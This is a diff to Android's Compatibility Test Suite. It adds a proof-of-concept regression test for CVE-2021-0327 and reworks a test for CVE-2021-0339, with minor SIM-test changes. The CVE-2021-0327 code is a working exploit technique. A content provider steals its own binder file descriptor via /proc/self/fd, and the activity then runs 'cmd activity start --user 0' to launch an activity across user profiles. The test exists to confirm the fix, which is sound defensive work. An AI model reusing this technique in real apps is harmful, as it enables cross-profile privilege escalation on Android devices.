diff --git a/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl b/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl
new file mode 100644
index 0000000..e71f2c8
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl
@@ -0,0 +1,10 @@
+// IBadProvider.aidl
+package android.security.cts.CVE_2021_0327;
+
+// Declare any non-default types here with import statements
+import android.os.ParcelFileDescriptor;
+interface IBadProvider {
+    ParcelFileDescriptor takeBinder();
+
+    oneway void exit();
+}
diff --git a/tests/tests/security/res/xml/device_admin.xml b/tests/tests/security/res/xml/device_admin.xml
new file mode 100644
index 0000000..5760898
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin.xml
@@ -0,0 +1,14 @@
+<?xml version ="1.0" encoding ="utf-8"?>
+<device-admin>
+    <uses-policies>
+<!--        <limit-password/>-->
+<!--        <watch-login/>-->
+<!--        <reset-password/>-->
+<!--        <force-lock/>-->
+<!--        <wipe-data/>-->
+<!--        <expire-password/>-->
+<!--        <encrypted-storage/>-->
+<!--        <disable-camera/>-->
+<!--        <disable-keyguard-features/>-->
+    </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java
new file mode 100644
index 0000000..d0b6cad
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java
@@ -0,0 +1,76 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import java.io.IOException;
+
+public class BadProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Bundle call(String method, String arg, Bundle extras) {
+        if ("get_aidl".equals(method)) {
+            Bundle bundle = new Bundle();
+            bundle.putBinder("a", new IBadProvider.Stub() {
+                @Override
+                public ParcelFileDescriptor takeBinder() throws RemoteException {
+                    for (int i = 0; i < 100; i++) {
+                        try {
+                            String name = Os.readlink("/proc/" + Process.myPid() + "/fd/" + i);
+                            // Log.v("TAKEBINDER", "fd=" + i + " path=" + name);
+                            if (name.startsWith("/dev/") && name.endsWith("/binder")) {
+                                return ParcelFileDescriptor.fromFd(i);
+                            }
+                        } catch (ErrnoException | IOException e) {
+                        }
+                    }
+                    return null;
+                }
+
+                @Override
+                public void exit() throws RemoteException {
+                    System.exit(0);
+                }
+            });
+            return bundle;
+        }
+        return super.call(method, arg, extras);
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
new file mode 100644
index 0000000..56408ee
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0327;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0327 {
+
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    private static final String TAG = "CVE_2021_0327";
+    public static boolean testActivityRequested;
+    public static boolean testActivityCreated;
+    public static String errorMessage = null;
+
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    /**
+     * b/175817081
+     */
+    @Test
+    @SecurityTest
+    public void testPocCVE_2021_0327() throws Exception {
+        Log.d(TAG, "test start");
+        testActivityCreated=false;
+        testActivityRequested=false;
+        launchActivity(IntroActivity.class);
+        synchronized(CVE_2021_0327.class){
+          if(!testActivityRequested) {
+            Log.d(TAG, "test is waiting for TestActivity to be requested to run");
+            CVE_2021_0327.class.wait();
+            Log.d(TAG, "got signal");
+          }
+        }
+        synchronized(CVE_2021_0327.class){
+          if(!testActivityCreated) {
+            Log.d(TAG, "test is waiting for TestActivity to run");
+            CVE_2021_0327.class.wait(10000);
+            Log.d(TAG, "got signal");
+          }
+        }
+        Log.d(TAG, "test completed. testActivityCreated=" + testActivityCreated);
+        if(errorMessage != null){
+          Log.d(TAG, "errorMessage=" + errorMessage);
+        }
+        assertTrue(errorMessage==null);
+        assertFalse(testActivityCreated);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
new file mode 100644
index 0000000..fd2af3a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
@@ -0,0 +1,129 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.app.admin.DevicePolicyManager;
+import android.content.ClipData;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.util.Log;
+import android.os.SystemClock;
+
+//import android.support.test.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import java.io.*;
+import java.util.stream.Collectors;
+
+import android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver;
+
+public class IntroActivity extends Activity {
+
+    private static final int AR_WORK_PROFILE_SETUP = 1;
+    private static final String TAG = "CVE_2021_0327";
+
+    private void launchOtherUserActivity() {
+        Log.d(TAG,"launchOtherUserActivity()");
+        Intent intent = new Intent(this, OtherUserActivity.class);
+        intent.setClipData(new ClipData("d", new String[]{"a/b"}, new ClipData.Item(Uri.parse("content://android.security.cts.CVE_2021_0327.BadProvider"))));
+        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        startActivity(intent);
+        finish();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG,"IntroActivity.OnCreate()");
+        if (isProfileOwner()) {
+        } else if (canLaunchOtherUserActivity()) {
+            launchOtherUserActivity();
+        } else {
+            setupWorkProfile(null);
+
+            //detect buttons to click
+            boolean profileSetUp=false;
+            String button;
+            java.util.List<UiObject2> objects;
+            UiDevice mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            BySelector selector = By.clickable(true);
+
+
+            while(!profileSetUp){
+              do {
+                Log.i(TAG, "waiting for clickable");
+                SystemClock.sleep(3000);
+              } while((objects = mUiDevice.findObjects(selector)).size()==0);
+              for(UiObject2 o : objects){
+                button=o.getText();
+                Log.d(TAG,"button:" + button);
+
+                if(button==null){
+                  continue;
+                }
+
+                switch(button){
+                  case "Delete" :
+                    o.click();
+                    Log.i(TAG, "clicked: Delete");
+                    break;
+                  case "Accept & continue" :
+                    o.click();
+                    Log.i(TAG, "clicked: Accept & continue");
+                    break;
+                  case "Next" :
+                    o.click();
+                    profileSetUp=true;
+                    Log.i(TAG, "clicked: Next");
+                    break;
+                  default :
+                    continue;
+                }
+                break;
+              }
+            }
+            //end while(!profileSetUp);
+        }
+    }
+
+    private boolean isProfileOwner() {
+        return getSystemService(DevicePolicyManager.class).isProfileOwnerApp(getPackageName());
+    }
+
+    private boolean canLaunchOtherUserActivity() {
+        Intent intent = new Intent("android.security.cts.CVE_2021_0327.OTHER_USER_ACTIVITY");
+        return (getPackageManager().resolveActivity(intent, 0) != null);
+    }
+
+    public void setupWorkProfile(View view) {
+        Log.d(TAG, "setupWorkProfile()");
+        Intent intent = new Intent(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(
+                DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(this, AdminReceiver.class)
+        );
+        startActivityForResult(intent, AR_WORK_PROFILE_SETUP);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult()");
+        if (requestCode == AR_WORK_PROFILE_SETUP) {
+            if (resultCode == RESULT_OK) {
+                launchOtherUserActivity();
+            } else {
+                new AlertDialog.Builder(this)
+                        .setMessage("Work profile setup failed")
+                        .setPositiveButton("ok", null)
+                        .show();
+            }
+        }
+        super.onActivityResult(requestCode, resultCode, data);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java
new file mode 100644
index 0000000..3ed38de
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java
@@ -0,0 +1,94 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.ResultReceiver;
+import android.view.View;
+import android.util.Log;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.*;
+import java.util.stream.Collectors;
+import java.util.concurrent.TimeUnit;
+import android.os.SystemClock;
+
+public class OtherUserActivity extends Activity {
+
+    static ParcelFileDescriptor sTakenBinder;
+    private static final String TAG = "CVE_2021_0327";
+    String errorMessage = null;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        doMakeProviderBad(null);
+        SystemClock.sleep(5000);
+        doStuff(null);
+    }
+
+    public void doMakeProviderBad(View view) {
+        new MakeProviderBad().execute();
+    }
+
+    private class MakeProviderBad extends AsyncTask<Void, Void, Exception> {
+
+        @Override
+        protected Exception doInBackground(Void... voids) {
+            try {
+                if (sTakenBinder != null) {
+                    sTakenBinder.close();
+                    sTakenBinder = null;
+                }
+
+                Uri uri = getIntent().getClipData().getItemAt(0).getUri();
+                Bundle callResult = getContentResolver().call(uri, "get_aidl", null, null);
+                IBadProvider iface = IBadProvider.Stub.asInterface(callResult.getBinder("a"));
+                sTakenBinder = iface.takeBinder();
+                if (sTakenBinder == null) {
+                    throw new Exception("Failed to find binder of provider");
+                }
+                iface.exit();
+            } catch (Exception e) {
+                errorMessage = errorMessage==null ? e.toString() : errorMessage + ", " + e.toString();
+            }
+
+            return null;
+        }
+
+        @Override
+        protected void onPostExecute(Exception e) {
+        }
+    }
+
+    public void doStuff(View view) {
+      sendCommand("start", "--user", "0", "-d", "content://android.security.cts.CVE_2021_0327.BadProvider", "-n", "android.security.cts/.CVE_2021_0327.TestActivity");
+    }
+
+    @SuppressLint("PrivateApi")
+    void sendCommand(String... args) {
+      String[] command = new String[args.length + 2];
+      command[0] = "/system/bin/cmd";
+      command[1] = "activity";
+      System.arraycopy(args, 0, command, 2, args.length);
+
+      try{
+       Runtime.getRuntime().exec(command);
+      } catch(Exception e){
+        errorMessage = errorMessage==null ? e.toString() : errorMessage + ", " + e.toString();
+      }
+      finally{
+        synchronized(CVE_2021_0327.class){
+          CVE_2021_0327.testActivityRequested=true;
+          CVE_2021_0327.errorMessage = errorMessage;
+          CVE_2021_0327.class.notifyAll();
+        }
+      }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java
new file mode 100644
index 0000000..d44a220
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java
@@ -0,0 +1,17 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d("CVE_2021_0327","TestActivity.onCreate()");
+        synchronized(CVE_2021_0327.class){
+          CVE_2021_0327.testActivityCreated=true;
+          CVE_2021_0327.class.notifyAll();
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java
new file mode 100644
index 0000000..d374dfd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java
@@ -0,0 +1,7 @@
+package android.security.cts.CVE_2021_0327.workprofilesetup;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class AdminReceiver extends DeviceAdminReceiver {
+
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java
new file mode 100644
index 0000000..1ae1c5d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java
@@ -0,0 +1,43 @@
+package android.security.cts.CVE_2021_0327.workprofilesetup;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import android.security.cts.CVE_2021_0327.OtherUserActivity;
+
+public class ProvisionedActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        getPackageManager().setComponentEnabledSetting(
+                new ComponentName(
+                        this,
+                        OtherUserActivity.class
+                ),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                PackageManager.DONT_KILL_APP
+        );
+
+        DevicePolicyManager manager = getSystemService(DevicePolicyManager.class);
+        //IntentFilter intentFilter = new IntentFilter("com.example.clearedshell.OTHER_USER_ACTIVITY");
+        IntentFilter intentFilter = new IntentFilter("android.security.cts.CVE_2021_0327.OTHER_USER_ACTIVITY");
+        //IntentFilter intentFilter = new IntentFilter("android.security.cts.CVE_2021_0327$OTHER_USER_ACTIVITY");
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        ComponentName admin = new ComponentName(this, AdminReceiver.class);
+        manager.addCrossProfileIntentFilter(
+                admin,
+                intentFilter,
+                DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT
+        );
+        manager.setProfileEnabled(admin);
+
+        setResult(RESULT_OK);
+        finish();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5ace5df..a59d749 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -17,98 +17,126 @@
 package android.security.cts;
 
 import static org.junit.Assert.assertThat;
-import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assume.assumeThat;
+import static org.hamcrest.Matchers.*;
 
-import android.test.AndroidTestCase;
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
-import android.platform.test.annotations.SecurityTest;
+import android.os.Bundle;
+import android.os.RemoteCallback;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
-import android.util.Log;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
 @SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class CVE_2021_0339 {
 
     static final String TAG = CVE_2021_0339.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    private static final String CALLBACK_KEY = "testactivitycallback";
+    private static final String RESULT_KEY = "testactivityresult";
+    static final int DURATION_RESULT_CODE = 1;
     static final int MAX_TRANSITION_DURATION_MS = 3000; // internal max
     static final int TIME_MEASUREMENT_DELAY_MS = 5000; // tolerance for lag.
-    public static boolean testCompleted;
 
-    public FirstActivity fActivity;
-    public SecondActivity sActivity;
-
-    private void launchActivity(Class<? extends Activity> clazz) {
+    private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
         final Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(CALLBACK_KEY, cb);
         context.startActivity(intent);
     }
 
     /**
      * b/175817167
+     * start the first activity and get the result from the remote callback
      */
     @Test
     @SecurityTest
     public void testPocCVE_2021_0339() throws Exception {
+        CompletableFuture<Integer> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) ->
+                callbackReturn.complete(result.getInt(RESULT_KEY)));
+        launchActivity(FirstActivity.class, cb); // start activity with callback as intent extra
 
-        Log.d(TAG, "test start");
-        testCompleted = false;
-        launchActivity(FirstActivity.class);
+        // blocking while the remotecallback is unset
+        int duration = callbackReturn.get(15, TimeUnit.SECONDS);
 
-        //wait for SecondActivity animation to complete
-        synchronized(CVE_2021_0339.class){
-          if(!testCompleted)
-            CVE_2021_0339.class.wait();
-        }
-        Log.d(TAG, "test completed");
+        // if we couldn't get the duration of secondactivity in firstactivity, the default is -1
+        assumeThat(duration, not(equals(-1)));
 
-        //A duration of a transition from "FirstActivity" to "Second Activity"
-        //is set in this test to 10 seconds
-        // (res/anim/translate1.xml and res/anim/translate2.xml)
-        //The fix is supposed to limit the duration to 3000 ms.
-        // testing for > 8s
-        assertThat(SecondActivity.duration,
-            lessThan(MAX_TRANSITION_DURATION_MS + TIME_MEASUREMENT_DELAY_MS));
+        // the max duration after the fix is 3 seconds.
+        // we check to see that the total duration was less than 8 seconds after accounting for lag
+        assertThat(duration,
+                lessThan(MAX_TRANSITION_DURATION_MS + TIME_MEASUREMENT_DELAY_MS));
     }
 
+    /**
+     * create an activity so that the second activity has something to animate from
+     * start the second activity and get the result
+     * return the result from the second activity in the remotecallback
+     */
     public static class FirstActivity extends Activity {
+        private RemoteCallback cb;
 
-      @Override
-      public void onEnterAnimationComplete() {
-        super.onEnterAnimationComplete();
-        Intent intent = new Intent(this, SecondActivity.class);
-        intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
-        startActivity(intent);
-        overridePendingTransition(R.anim.translate2,R.anim.translate1);
-        Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
-      }
+        @Override
+        public void onCreate(Bundle bundle) {
+            super.onCreate(bundle);
+            cb = (RemoteCallback) getIntent().getExtras().get(CALLBACK_KEY);
+        }
+
+        @Override
+        public void onEnterAnimationComplete() {
+            super.onEnterAnimationComplete();
+            Intent intent = new Intent(this, SecondActivity.class);
+            intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
+            startActivityForResult(intent, DURATION_RESULT_CODE);
+            overridePendingTransition(R.anim.translate2,R.anim.translate1);
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+        }
+
+        @Override
+        protected void onActivityResult(int requestCode,int resultCode, Intent data) {
+            super.onActivityResult(requestCode, resultCode, data);
+            if (requestCode == DURATION_RESULT_CODE && resultCode == RESULT_OK) {
+                // this is the result that we requested
+                int duration = data.getIntExtra("duration", -1); // get result from secondactivity
+                Bundle res = new Bundle();
+                res.putInt(RESULT_KEY, duration);
+                finish();
+                cb.sendResult(res); // update callback in test
+            }
+        }
     }
 
+    /**
+     * measure time since secondactivity start to secondactivity animation complete
+     * return the duration in the result
+     */
     public static class SecondActivity extends Activity{
-      public static int duration = 0;
-
-      @Override
-      public void onEnterAnimationComplete() {
-        super.onEnterAnimationComplete();
-        long completedTs = SystemClock.uptimeMillis();
-        long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
-        duration = (int)(completedTs - startedTs);
-        Log.d(TAG, this.getLocalClassName()
-          + " onEnterAnimationComplete() duration=" + Long.toString(duration));
-
-        //Notify main thread that the test is completed
-        synchronized(CVE_2021_0339.class){
-          CVE_2021_0339.testCompleted = true;
-          CVE_2021_0339.class.notifyAll();
+        @Override
+        public void onEnterAnimationComplete() {
+            super.onEnterAnimationComplete();
+            long completedTs = SystemClock.uptimeMillis();
+            long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
+            int duration = (int)(completedTs - startedTs);
+            Log.d(TAG, this.getLocalClassName()
+                      + " onEnterAnimationComplete() duration=" + Long.toString(duration));
+            Intent durationIntent = new Intent();
+            durationIntent.putExtra("duration", duration);
+            setResult(RESULT_OK, durationIntent); // set result for firstactivity
+            finish(); // firstactivity only gets the result when we finish
         }
-      }
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 0e0657a..cbed06d 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -149,7 +149,10 @@
             "com.android.apex.cts.shim",
 
             // Oom Catcher package to prevent tests from ooming device.
-            "com.android.cts.oomcatcher"
+            "com.android.cts.oomcatcher",
+
+            // Collects device info at the start of the test
+            "com.android.compatibility.common.deviceinfo"
 
             ));
 
diff --git a/tests/tests/simphonebookprovider/Android.bp b/tests/tests/simphonebookprovider/Android.bp
index 95580a8..acbff92 100644
--- a/tests/tests/simphonebookprovider/Android.bp
+++ b/tests/tests/simphonebookprovider/Android.bp
@@ -1,7 +1,8 @@
 filegroup {
     name: "cts-simphonebook-rules-sources",
     srcs: [
-        "src/android/provider/cts/simphonebook/SimCleanupRule.java",
+        "src/android/provider/cts/simphonebook/RemovableSims.java",
+        "src/android/provider/cts/simphonebook/SimsCleanupRule.java",
         "src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java",
         "src/android/provider/cts/simphonebook/SimsPowerRule.java",
     ],
diff --git a/tests/tests/simphonebookprovider/AndroidManifest.xml b/tests/tests/simphonebookprovider/AndroidManifest.xml
index 07c1bd4..79db286 100644
--- a/tests/tests/simphonebookprovider/AndroidManifest.xml
+++ b/tests/tests/simphonebookprovider/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <uses-permission android:name="android.permission.READ_CONTACTS" />
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
 
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/simphonebookprovider/nosim/AndroidManifest.xml b/tests/tests/simphonebookprovider/nosim/AndroidManifest.xml
index afdf90e..137759b 100644
--- a/tests/tests/simphonebookprovider/nosim/AndroidManifest.xml
+++ b/tests/tests/simphonebookprovider/nosim/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.provider.cts.simphonebook.nosim">
 
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java
new file mode 100644
index 0000000..a014931
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/RemovableSims.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import android.Manifest;
+import android.content.Context;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccCardInfo;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.stream.Collectors;
+
+/** Provides the SubscriptionInfo and slot count for removable SIM cards. */
+class RemovableSims {
+    private final Context mContext;
+    private final TelephonyManager mTelephonyManager;
+
+    private List<SubscriptionInfo> mRemovableSubscriptionInfos;
+    private int mRemovableSimSlotCount;
+
+    public RemovableSims(Context context) {
+        mContext = context;
+        mTelephonyManager = Objects.requireNonNull(
+                context.getSystemService(TelephonyManager.class));
+    }
+
+    private synchronized void initialize() {
+        SubscriptionManager subscriptionManager = Objects.requireNonNull(
+                mContext.getSystemService(SubscriptionManager.class));
+        mRemovableSubscriptionInfos = new ArrayList<>();
+        mRemovableSimSlotCount = 0;
+
+        // Wait for the eSIM state to be loaded before continuing. Otherwise, the card info
+        // we load later may indicate that they are not eSIM when they actually are. This works
+        // on phones without eSIM because it will return TelephonyManager.UNSUPPORTED_CARD_ID
+        PollingCheck.waitFor(30_000, () ->
+                mTelephonyManager.getCardIdForDefaultEuicc() !=
+                        TelephonyManager.UNINITIALIZED_CARD_ID
+        );
+
+        List<UiccCardInfo> uiccCards = SystemUtil.runWithShellPermissionIdentity(
+                mTelephonyManager::getUiccCardsInfo,
+                Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+
+        List<SubscriptionInfo> allSubscriptions = SystemUtil.runWithShellPermissionIdentity(() ->
+                        subscriptionManager.getActiveSubscriptionInfoList(),
+                Manifest.permission.READ_PHONE_STATE);
+        Map<Integer, List<SubscriptionInfo>> subscriptionsByCardId = allSubscriptions.stream()
+                .collect(Collectors.groupingBy(SubscriptionInfo::getCardId));
+        for (UiccCardInfo cardInfo : uiccCards) {
+            if (!cardInfo.isRemovable() || cardInfo.isEuicc()) {
+                continue;
+            }
+            mRemovableSimSlotCount++;
+
+            List<SubscriptionInfo> listWithSubscription = subscriptionsByCardId
+                    .getOrDefault(cardInfo.getCardId(), Collections.emptyList());
+            // There should only be 1 in the list but using addAll simplifies things because we
+            // don't have to check for the empty case.
+            mRemovableSubscriptionInfos.addAll(listWithSubscription);
+        }
+    }
+
+    public List<SubscriptionInfo> getSubscriptionInfoForRemovableSims() {
+        if (mRemovableSubscriptionInfos == null) {
+            initialize();
+        }
+        return mRemovableSubscriptionInfos;
+    }
+
+    public int getRemovableSimSlotCount() {
+        if (mRemovableSubscriptionInfos == null) {
+            initialize();
+        }
+        return mRemovableSimSlotCount;
+    }
+
+    public int getDefaultSubscriptionId() {
+        List<SubscriptionInfo> removableSubscriptionInfos = getSubscriptionInfoForRemovableSims();
+        int subscriptionId = SubscriptionManager.getDefaultSubscriptionId();
+        if (removableSubscriptionInfos.stream().anyMatch(
+                info -> info.getSubscriptionId() == subscriptionId)) {
+            return subscriptionId;
+        } else if (!removableSubscriptionInfos.isEmpty()) {
+            return removableSubscriptionInfos.get(0).getSubscriptionId();
+        }
+        return SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimCleanupRule.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimCleanupRule.java
deleted file mode 100644
index 1428a2c..0000000
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimCleanupRule.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.simphonebook;
-
-import android.Manifest;
